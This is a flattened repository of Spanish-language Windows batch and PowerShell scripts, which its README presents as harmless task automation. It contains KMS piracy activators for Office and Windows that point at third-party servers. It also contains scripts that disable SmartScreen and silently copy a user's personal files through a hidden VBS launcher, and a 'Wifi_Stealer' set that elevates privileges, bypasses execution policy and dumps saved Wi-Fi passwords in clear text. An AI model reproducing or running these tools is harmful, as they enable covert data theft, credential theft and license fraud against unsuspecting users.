├── Activations ├── Activate_Office_2016.bat ├── Activate_Office_2019.bat └── Win_10_Activation.bat ├── Information-Extraction ├── Backup │ ├── Hi-Backup.bat │ ├── backup.bat │ └── invisible.vbs ├── Full_Copy.bat └── Plain_Copy.bat ├── README.md ├── Tools └── Delete_Data_Temp.bat └── Wifi_Stealer ├── Con_Pass.ps1 ├── Wifi-Pass-Name.bat └── Wifi_All.bat /Activations/Activate_Office_2016.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | @REM ---------- EJECUTAR COMO ADMINISTRADOR --------------- 3 | color 02 4 | 5 | title Microsoft Office 2016 Activator&cls&echo.&echo ****************************************************************************&echo Microsoft Office 2016 Activator!&echo.&echo.****************************************************************************&echo.&echo #This project is using KMS server.&echo.&echo #Supported products:&echo - Microsoft Office Standard 2016&echo - Microsoft Office Professional Plus 2016&echo.&(if exist "%ProgramFiles%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles%\Microsoft Office\Office16")&(if exist "%ProgramFiles(x86)%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles(x86)%\Microsoft Office\Office16")&(for /f %%x in ('dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul)&(for /f %%x in ('dir /b ..\root\Licenses16\proplusvl_mak*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul)&echo.&echo ****************************************************************************&echo Activating your Microsoft Office...&echo.&cscript //nologo ospp.vbs /unpkey:WFG99 >nul&cscript //nologo ospp.vbs /unpkey:DRTFM >nul&cscript //nologo ospp.vbs /unpkey:BTDRB >nul&cscript //nologo ospp.vbs /unpkey:CPQVG >nul&cscript //nologo ospp.vbs /inpkey:XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99 >nul&set i=1 6 | :server 7 | if %i%==1 set KMS_Sev=kms7.MSGuides.com 8 | if %i%==2 set KMS_Sev=kms8.MSGuides.com 9 | if %i%==3 set KMS_Sev=kms9.MSGuides.com 10 | if %i%==4 goto notsupported 11 | cscript //nologo ospp.vbs /sethst:%KMS_Sev% >nul&echo ****************************************************************************&echo. 12 | cscript //nologo ospp.vbs /act | find /i "successful" && (echo.&echo ****************************************************************************&echo.&echo ****************************************************************************&echo.&choice /n /c YN /m "Quieres ver mis proyectos en Github? [y/n]?" & if errorlevel 2 exit) || (echo The connection to my KMS server failed! Trying to connect to another one... & echo Please wait... & echo. & echo. & set /a i+=1 & goto server) 13 | explorer "https://github.com/Yextep"&goto halt 14 | :notsupported 15 | echo.&echo ***************************************************************************=&echo Sorry! Your version is not supported.&echo Please try installing the latest version! 16 | :halt 17 | pause 18 | -------------------------------------------------------------------------------- /Activations/Activate_Office_2019.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | @REM ---------- EJECUTAR COMO ADMINISTRADOR --------------- 3 | color 02 4 | title KMS Activator for Microsoft Office 2019 &cls&echo ************************************************* &Activador office2019&echo ************************************************* &echo.&echo Supported products:&echo Microsoft Office Standard 2019&echo Microsoft Office Professional 2019&echo.&echo Microsoft Office 2019 activation... 5 | (if exist "%ProgramFiles%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles%\Microsoft Office\Office16")&(if exist "%ProgramFiles(x86)%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles(x86)%\Microsoft Office\Office16")&(for /f %%x in ('dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul)&(for /f %%x in ('dir /b ..\root\Licenses16\proplus2019vl*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul) 6 | cscript //nologo ospp.vbs /unpkey:6MWKP >nul& 7 | cscript //nologo ospp.vbs /inpkey:NMMKJ-6RK4F-KMJVX-8D9MJ-6MWKP >nul&set i=1 8 | :server 9 | if %i%==1 set KMS_Sev=kms.digiboy.ir 10 | if %i%==2 set KMS_Sev=kms8.MSGuides.com 11 | if %i%==3 set KMS_Sev=kms.chinancce.com 12 | if %i%==4 set KMS_Sev=fourdeltaone.net:1688 13 | if %i%==5 set KMS_Sev=147.134.1.42 14 | if %i%==6 set KMS_Sev=98.212.2.163 15 | if %i%==7 set KMS_Sev=kms.crackmywpa.com 16 | if %i%==8 set KMS_Sev=win81.no-ip.org 17 | if %i%==9 set KMS_Sev=whwebsolution.no-ip.org 18 | if %i%==10 set KMS_Sev=cckms.nccu.edu.tw 19 | if %i%==11 set KMS_Sev=lsu-kms.lsu.edu 20 | if %i%==12 set KMS_Sev=kms.isu.edu.tw 21 | if %i%==13 set KMS_Sev=uitsckms.uit.tufts.edu 22 | if %i%==14 set KMS_Sev=58.173.212.51 23 | if %i%==15 set KMS_Sev=vhk.3322.org 24 | if %i%==16 set KMS_Sev=140.133.45.107 25 | if %i%==17 set KMS_Sev=noair.strangled.net:1688 26 | if %i%==18 goto notsupported 27 | 28 | cscript //nologo ospp.vbs /sethst:%KMS_Sev% >nul&echo ************************************************* &echo. 29 | cscript //nologo ospp.vbs /act | find /i "successful" && (echo.&echo ************************************************* &echo.&choice /n /c YN /m "Do you want to restart your PC now [Y,N]?" & if errorlevel 2 exit) || (echo The connection to the server failed! Trying to connect to another one... & echo Please wait... & echo. & echo. & set /a i+=1 & goto server) 30 | shutdown.exe /r /t 00 31 | :notsupported 32 | echo.&echo ************************************************* &echo Incorrect version of MS Office &echo Make sure that you use MS Office 2019/365 version. 33 | :halt 34 | pause >nul 35 | -------------------------------------------------------------------------------- /Activations/Win_10_Activation.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | title Activate Windows 10 ALL versions!&cls&echo ============================================================================&echo #Project: Activating Microsoft&echo ============================================================================&echo.&echo #Supported products:&echo - Windows 10 Home&echo - Windows 10 Home N&echo - Windows 10 Home Single Language&echo - Windows 10 Home Country Specific&echo - Windows 10 Professional&echo - Windows 10 Professional N&echo - Windows 10 Education N&echo - Windows 10 Education N&echo - Windows 10 Enterprise&echo - Windows 10 Enterprise N&echo - Windows 10 Enterprise LTSB&echo - Windows 10 Enterprise LTSB N&echo.&echo.&echo ============================================================================&echo Activating your Windows...&cscript //nologo slmgr.vbs /ckms >nul&cscript //nologo slmgr.vbs /upk >nul&cscript //nologo slmgr.vbs /cpky >nul&set i=1&wmic os | findstr /I "enterprise" >nul 3 | if %errorlevel% EQU 0 (cscript //nologo slmgr.vbs /ipk NPPR9-FWDCX-D2C8J-H872K-2YT43 >nul&cscript //nologo slmgr.vbs /ipk DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4 >nul&cscript //nologo slmgr.vbs /ipk WNMTR-4C88C-JK8YV-HQ7T2-76DF9 >nul&cscript //nologo slmgr.vbs /ipk 2F77B-TNFGY-69QQF-B8YKP-D69TJ >nul&cscript //nologo slmgr.vbs /ipk DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ >nul&cscript //nologo slmgr.vbs /ipk QFFDN-GRT3P-VKWWX-X7T3R-8B639 >nul&goto server) else wmic os | findstr /I "home" >nul 4 | if %errorlevel% EQU 0 (cscript //nologo slmgr.vbs /ipk TX9XD-98N7V-6WMQ6-BX7FG-H8Q99 >nul&cscript //nologo slmgr.vbs /ipk 3KHY7-WNT83-DGQKR-F7HPR-844BM >nul&cscript //nologo slmgr.vbs /ipk 7HNRX-D7KGG-3K4RQ-4WPJ4-YTDFH >nul&cscript //nologo slmgr.vbs /ipk PVMJN-6DFY6-9CCP6-7BKTT-D3WVR >nul&goto server) else wmic os | findstr /I "education" >nul 5 | if %errorlevel% EQU 0 (cscript //nologo slmgr.vbs /ipk NW6C2-QMPVW-D7KKK-3GKT6-VCFB2 >nul&cscript //nologo slmgr.vbs /ipk 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ >nul&goto server) else wmic os | findstr /I "10 pro" >nul 6 | if %errorlevel% EQU 0 (cscript //nologo slmgr.vbs /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX >nul&cscript //nologo slmgr.vbs /ipk MH37W-N47XK-V7XM9-C7227-GCQG9 >nul&goto server) else (goto notsupported) 7 | :server 8 | if %i%==1 set KMS_Sev=kms7.MSGuides.com 9 | if %i%==2 set KMS_Sev=kms8.MSGuides.com 10 | if %i%==3 set KMS_Sev=kms9.MSGuides.com 11 | if %i%==4 goto notsupported 12 | cscript //nologo slmgr.vbs /skms %KMS_Sev%:1688 >nul&echo ============================================================================&echo.&echo. 13 | cscript //nologo slmgr.vbs /ato | find /i "successfully" && (echo.&echo ****************************************************************************&echo.&echo ****************************************************************************&echo.&choice /n /c YN /m "Quieres ver mis proyectos en Github? [y/n]?" & if errorlevel 2 exit) || (echo The connection to my KMS server failed! Trying to connect to another one... & echo Please wait... & echo. & echo. & set /a i+=1 & goto server) 14 | explorer "https://github.com/Yextep"&goto halt 15 | :notsupported 16 | echo ============================================================================&echo.&echo Sorry! Your version is not supported.&echo. 17 | :halt 18 | pause >nul -------------------------------------------------------------------------------- /Information-Extraction/Backup/Hi-Backup.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | SetLocal 3 | 4 | :: Deshabilitar SmartScreen 5 | reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SmartScreen" /v "EnableSmartScreen" /t REG_SZ /d "0" /f 6 | 7 | set VBSFile=%temp%\invisible.vbs 8 | ( 9 | echo Set objShell = CreateObject("WScript.Shell"^) 10 | echo objShell.Run "backup.bat", 0, False 11 | )>%VBSFile% 12 | cscript //nologo %VBSFile% 13 | 14 | :: Habilitar SmartScreen nuevamente 15 | reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SmartScreen" /v "EnableSmartScreen" /t REG_SZ /d "1" /f 16 | 17 | EndLocal 18 | -------------------------------------------------------------------------------- /Information-Extraction/Backup/backup.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | color 02 3 | 4 | SET "DESTINATION=Backup_PC\%USERNAME%" 5 | 6 | IF NOT EXIST "%DESTINATION%" ( 7 | MD "%DESTINATION%" 8 | ) 9 | 10 | for /R "%USERPROFILE%\Pictures" %%x in (*) do ( 11 | call :CopyFile "%%x" "%DESTINATION%\Pictures\" 12 | ) 13 | 14 | for /R "%USERPROFILE%\Documents" %%x in (*) do ( 15 | call :CopyFile "%%x" "%DESTINATION%\Documents\" 16 | ) 17 | 18 | for /R "%USERPROFILE%\Videos" %%x in (*) do ( 19 | call :CopyFile "%%x" "%DESTINATION%\Videos\" 20 | ) 21 | 22 | for /R "%USERPROFILE%\Downloads" %%x in (*) do ( 23 | call :CopyFile "%%x" "%DESTINATION%\Downloads\" 24 | ) 25 | 26 | for /R "%USERPROFILE%\Desktop" %%x in (*) do ( 27 | call :CopyFile "%%x" "%DESTINATION%\Desktop\" 28 | ) 29 | 30 | :: Eliminar el archivo invisible.vbs 31 | del "%temp%\invisible.vbs" 32 | 33 | EXIT 34 | 35 | :CopyFile 36 | SET "SOURCE_FILE=%~1" 37 | SET "DEST_FOLDER=%~2" 38 | MD "%DEST_FOLDER%" 2>nul 39 | xcopy /H "%SOURCE_FILE%" "%DEST_FOLDER%" 40 | GOTO :EOF 41 | -------------------------------------------------------------------------------- /Information-Extraction/Backup/invisible.vbs: -------------------------------------------------------------------------------- 1 | Set objShell = CreateObject("WScript.Shell") 2 | objShell.Run "backup.bat", 0, False 3 | -------------------------------------------------------------------------------- /Information-Extraction/Full_Copy.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | color 04 3 | 4 | IF NOT EXIST ".\Data_PC" MD ".\Data_PC" 5 | cd .\Data_PC 6 | for /R C:\ %%x in (*.pdf *.docx *.xlsx *.pptx *.txt *.jpg *.jpeg *.png *.rar *.zip *.html) do copy "%%x" ".\" 7 | 8 | exit? 9 | -------------------------------------------------------------------------------- /Information-Extraction/Plain_Copy.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | color 02 3 | 4 | IF NOT EXIST ".\Data_PC"%USERNAME% MD ".\Data_PC\"%USERNAME% 5 | 6 | cd ".\Data_PC\"%USERNAME% 7 | 8 | for /R %USERPROFILE%\Pictures\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\" 9 | for /R %USERPROFILE%\Documents\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\" 10 | for /R %USERPROFILE%\Videos\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\" 11 | for /R %USERPROFILE%\Downloads\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\" 12 | for /R %USERPROFILE%\Desktop\ %%x in (*.rar, *.jpg, *.xls, *.doc, *.pdf, *.zip, *.pptx, *.png, *.jpeg, *.txt, *.html) do copy "%%x" ".\" 13 | 14 | EXIT -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Colección .bat útiles para automatización de tareas y procesos. 3 | 4 | **'Bat'** es la abreviatura de **'batch file'** o **'archivo de lotes'**, y básicamente consiste en un archivo de texto que ejecuta secuencias de comandos, con el objetivo, habitualmente, de **Automatizar Tareas** que requieran un largo número de instrucciones (desde renombrado masivo de archivos a la instalación de un programa); así, al recurrir a un ***.bat**, bastará con escribirlo una vez y podremos ahorrar tiempo y **Evitar errores tipográficos.** 5 | 6 | Efectivamente, su utilidad apenas difiere de la de un **Script de PowerShell** o de Bash (en el caso de que uses WSL/Linux), sólo que en el caso de los **BAT** el encargado de ejecutarlo será **CMD.EXE**, también conocido como el **'Símbolo del Sistema'**.[Leer Más](https://es.wikipedia.org/wiki/Archivo_batch) 7 | 8 | GIF 9 | 10 | ## 💡 Cómo crear un batch? 11 | La respuesta es muy sencilla, creamos un **Documento de texto** plano. Como el documento de texto es una hoja en blanco donde ni siquiera se le 12 | puede dar **formato** (formato = forma) mas que a la **fuente** (fuente = letra), no es como el Word con todos esos botones y colores. Una vez que creamos el “documento de texto” con una **Secuencia de comandos** adentro, cambiamos la extensión del archivo a **.bat**. 13 | 14 | ## ¿Cómo cambiar la extensión del archivo? 15 | 16 | Muy fácil, si el documento de texto se llama **“nuevo documento de texto.txt”,** apretamos sobre el Botón derecho a propiedades a donde dice **“nuevodocumentodetexto.txt”** lo cambiamos por **“nuevo documento de texto.bat”**, el truco es cambiar el archivo **“xxxxx.txt”** a **“xxxxx.bat”**, cuando lo hagas una ventanita te va a preguntar si estas seguro, como seguro no hay nada en la vida clickea **“si”**, vas a ver como cambia el icono de una hoja a una **ventanita**. 17 | 18 | ## Scripts .Bat 19 | 20 | En este repositorio encontrarás varios **Scripts** para que pruebes el poder de la **Secuencia de comandos** generada por un simple bloc de notas, solo elije uno de tu preferencia, y empieza a practicar como quieras, en caso de que no encuentres uno en específico puedes buscarlo en internet o también puedes crearlos para **automatizar** las **tareas** que necesites 21 | 22 | GIF 23 | 24 | ## 📚 Ejemplo 25 | 26 | En este ejemplo, el archivo **.Bat** Abre la página principal de este **Sitio Web** u otro que se especifique en el **Navegador predeterminado.** 27 | 28 | ```bash 29 | @echo off 30 | START https://google.com/ 31 | ``` 32 | -------------------------------------------------------------------------------- /Tools/Delete_Data_Temp.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | @REM Selecciona el color rojo para la visualizacion del texto en la consola. 4 | color 04 5 | 6 | 7 | @REM Menu de opciones para en usuario. 8 | :menu 9 | echo Eliminar Archivos temporales: 10 | echo --------------------------------- 11 | echo Elija una opcion: 12 | echo 1) temp. 13 | echo 2) temp2. 14 | echo 3) prefetch. 15 | echo 4) Todos los anteriores. 16 | echo 5) Cerrar. 17 | 18 | @REM Creo una variable que pide que el usuario digite una opcion 19 | SET /p opcion= 20 | 21 | @REM Condicionales que validan si el usuario digito una de las opciones. Goto lo dirige a una de las opciones creadas con la etiquerta :opcionn 22 | if %opcion%==1 goto opcion1 23 | if %opcion%==2 goto opcion2 24 | if %opcion%==3 goto opcion3 25 | if %opcion%==4 goto opcion4 26 | if %opcion%==5 goto opcion5 27 | 28 | @REM Condicional que valida si la opcion digitada por el usuario es valida o no. 29 | if %opcion% NEQ 5 goto error 30 | 31 | @REM Codigo de las opciones que el usuario puede elegir, elimina los archivos que se encuentran dentro de la carpeta seleccionada. 32 | :opcion1 33 | cls 34 | del c:\Windows\Temp /f /s /q 35 | rd c:\Windows\Temp /s /q 36 | goto menu2 37 | 38 | :opcion2 39 | cls 40 | del C:\Users\%username%\AppData\Local\Temp /f /s /q 41 | rd C:\Users\%username%\AppData\Local\Temp /s /q 42 | goto menu2 43 | 44 | :opcion3 45 | cls 46 | del C:\Windows\Prefetch /f /s /q 47 | rd C:\Windows\Prefetch /s /q 48 | goto menu2 49 | 50 | :opcion4 51 | cls 52 | del c:\Windows\Temp /f /s /q 53 | del C:\Users\%username%\AppData\Local\Temp /f /s /q 54 | del C:\Windows\Prefetch /f /s /q 55 | 56 | rd c:\Windows\Temp /s /q 57 | rd C:\Users\%username%\AppData\Local\Temp /s /q 58 | rd C:\Windows\Prefetch /s /q 59 | goto menu2 60 | 61 | :opcion5 62 | exit 63 | 64 | @REM Opcion en caso de error al diginar un dato no valido. 65 | :error 66 | echo -------------------------------- 67 | echo ERROR! Elija una opcion valida entre 1 y 5: 68 | goto menu 69 | 70 | @REM Menu para saber si el uduario desea continuar 71 | :menu2 72 | echo Desea continuar? (S/N) 73 | 74 | @REM Variable para pedir y almacenar un string para definir si el usuario desea o no continuar 75 | SET /p opcionxx= 76 | 77 | @REM Condicionales para validar si el usuario desea o no continuar y asi cerrar el programa o redirigirlo al programa nuevamente 78 | if %opcionxx%==S goto menu 79 | if %opcionxx%==s goto menu 80 | if %opcionxx%==N exit 81 | if %opcionxx%==n exit 82 | 83 | -------------------------------------------------------------------------------- /Wifi_Stealer/Con_Pass.ps1: -------------------------------------------------------------------------------- 1 | netsh wlan export profile key=clear 2 | echo "" >> claves.txt 3 | dir *.xml |% { 4 | $cittz=[xml] (get-content $_) 5 | $z= "______________________________________________________________________ `r`r`n Nombre de la red WiFi: "+$cittz.WLANProfile.SSIDConfig.SSID.name + "`r`n Contenido de la clave: " +$cittz.WLANProfile.MSM.Security.sharedKey.keymaterial + "`n______________________________________________________________________`n" 6 | Out-File claves.txt -Append -InputObject $z 7 | 8 | } 9 | 10 | rm *.xml -Force -------------------------------------------------------------------------------- /Wifi_Stealer/Wifi-Pass-Name.bat: -------------------------------------------------------------------------------- 1 | cls 2 | @echo off 3 | 4 | Title Wifi PAssword Finder 5 | NETSH WLAN SHOW PROFILE 6 | pause>nul 7 | 8 | set /p Var1="Enter NetwOrk SSid" 9 | NETSH WLAN SHOW PROFILE %Var1% Key=clear 10 | pause>nul -------------------------------------------------------------------------------- /Wifi_Stealer/Wifi_All.bat: -------------------------------------------------------------------------------- 1 | cls 2 | color 0a 3 | :admin 4 | IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" ( 5 | >nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system" 6 | ) ELSE ( 7 | >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" 8 | ) 9 | 10 | if '%errorlevel%' NEQ '0' ( 11 | goto UACPrompt 12 | ) else (goto gotAdmin) 13 | 14 | :UACPrompt 15 | echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" 16 | set params=%* 17 | echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params:"=""%", "", "runas", 1 >> "%temp%\getadmin.vbs" 18 | 19 | "%temp%\getadmin.vbs" 20 | del "%temp%\getadmin.vbs" 21 | exit /B 22 | 23 | :gotAdmin 24 | pushd "%CD%" 25 | CD /D "%~dp0" 26 | 27 | 28 | :Con_Pass 29 | powershell -ExecutionPolicy ByPass -File Con_Pass.ps1 >nul 30 | timeout 1 >nul 31 | cls 32 | pause >nul 33 | --------------------------------------------------------------------------------